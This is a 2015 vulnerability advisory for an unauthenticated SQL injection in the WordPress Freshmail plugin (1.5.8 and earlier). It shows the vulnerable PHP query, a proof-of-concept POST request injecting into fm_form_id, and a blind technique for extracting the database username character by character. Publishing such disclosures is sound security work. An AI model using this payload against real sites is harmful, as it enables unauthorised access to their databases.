WordPress Plugin Freshmail 1.5.8 – SQL Injection
# Exploit Title: Unauthenticated SQL Injection on Wordpress Freshmail (#1) # Google Dork: N/A # Date: 05/05/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: *http://freshmail.com/ <http://freshmail.com/> # Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary ------------------ Freshmail plugin is an email marketing plugin for wordpress, allowing the administrator to create mail campaigns and keep track of them. There is a unauthenticated SQL injection vulnerability in the "Subscribe to our newsletter" formularies showed to the web visitors in the POST parameter *fm_form_id. * 2. Vulnerability timeline ---------------------------------- - 04/05/2015: Identified in version 1.5.8 and contact the developer company by twitter. - 05/05/2015: Send the details by mail to developer. - 05/05/2015: Response from the developer. - 06/05/2015: Fixed version in 1.6 3. Vulnerable code --------------------------- Vulnerable File: include/wp_ajax_fm_form.php, lines 44 and 50 [...] Line 28: add_action('wp_ajax_fm_form', 'fm_form_ajax_func'); Line 29: add_action('wp_ajax_nopriv_fm_form', 'fm_form_ajax_func'); [...] Line 44: $result = $_POST; [...] Line 50: $form = $wpdb->get_row('select * from '.$wpdb->prefix.'fm_forms where form_id="'.*$result['fm_form_id']*.'";'); [...] 3. Proof of concept --------------------------- POST /wp-admin/admin-ajax.php HTTP/1.1 Host: <web> X-Requested-With: XMLHttpRequest [...] Cookie: wordpress_f30[...] form%5Bemail%5D=fake@fake.com&form%5Bimie%5D=asdf&fm_form_id=1" and "a"="a&action=fm_form&fm_form_referer=%2F 4. Explanation --------------------- A page visitor can submit an email (fake@fake.com) to subscribe to the formulary with fm_form_id="1" and the JSON message received will be simil= ar to: {"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1* ","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s= uccess","message":"*Your sign up request was successful! Please check your email inbox.*"} The second time he tries to do the same with the same email the message returned will be: {"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1* ","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s= uccess","message":"*Given email address is already subscribed, thank you!*"} If we insert *1**" and substr(user(),1,1)="a *we'll receive either the sa= me message indicating that the Given email is already subscribed indicating that the first character of the username is an "a" or a null message indicating that the username first character is not an "a". 5. Solution --------------- Update to version 1.6 |